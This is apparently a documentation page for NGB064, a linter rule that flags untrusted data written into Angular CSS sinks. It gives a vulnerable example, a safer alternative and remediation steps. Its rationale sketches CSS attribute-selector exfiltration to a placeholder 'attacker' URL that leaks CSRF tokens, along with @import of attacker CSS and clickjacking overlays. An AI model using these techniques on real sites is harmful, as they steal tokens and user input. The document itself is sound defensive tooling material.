Security rules
NGB064: Untrusted CSS injection
Traces untrusted data (URL parameters, postMessage data, storage, HTTP responses, user input) into sinks that accept whole CSS declarations or style sheets: style.cssText, element.style = …, setAttribute('style', …) (DOM and Renderer2), <style> element text, CSSStyleSheet.insertRule() / replace() / replaceSync().
| Property | Value |
|---|---|
| Rule ID | NGB064 |
| Category | Angular security & XSS |
| Default severity | medium |
| CWE | CWE-79, CWE-74 |
| Built-in presets | recommended: error, strict: error |
Confidence is reported per finding (high, medium, low) and is independent of severity. See Reading findings.
What it checks
Traces untrusted data (URL parameters, postMessage data, storage, HTTP responses, user input) into sinks that accept whole CSS declarations or style sheets: style.cssText, element.style = …, setAttribute('style', …) (DOM and Renderer2), <style> element text, CSSStyleSheet.insertRule() / replace() / replaceSync(). Single property values set with style.setProperty(name, value) / Renderer2.setStyle() are not reported.
Why it matters
Browsers no longer run script from CSS, but injected style sheets remain an attack primitive: attribute selectors with background: url(https://attacker/?c=a) exfiltrate CSRF tokens and input values character by character, @import loads attacker CSS, and overlays restyle the page for clickjacking or fake login prompts. Angular does not sanitize styles that are written to the DOM directly.
Detection behavior and supported patterns
el.style.cssText = v,el.style = v,el.setAttribute("style", v),renderer.setAttribute(el, "style", v)styleEl.textContent = v/innerTexton anHTMLStyleElementsheet.insertRule(v),sheet.replace(v),sheet.replaceSync(v)onCSSStyleSheet- Data-flow evidence required: values whose origin cannot be resolved are not reported
Example
this.styleEl.textContent = this.route.snapshot.queryParams['theme'];Safer alternative
const color = this.route.snapshot.queryParams['accent'];if (/^#[0-9a-f]{6}$/i.test(color)) this.host.nativeElement.style.setProperty('--accent', color);Remediation
Never build style sheets from untrusted text. Map user choices to known values (const THEMES = { dark: …, light: … }) or set single, validated properties with style.setProperty("--accent", color) after checking the value against a strict pattern (/^#[0-9a-f]{6}$/i).
False-positive considerations
- Theme editors that intentionally accept CSS from the signed-in user only affect that user (self-XSS-like); document an exception if CSS is never shared between users.
Known limitations
- Template bindings (
[style]="css",[attr.style]) are not traced. - Validation of the CSS text (allowlisting properties, parsing) is not recognized; a project sanitizer can be listed in
trustedSanitizers.
References
Run it
ngbastion explain NGB064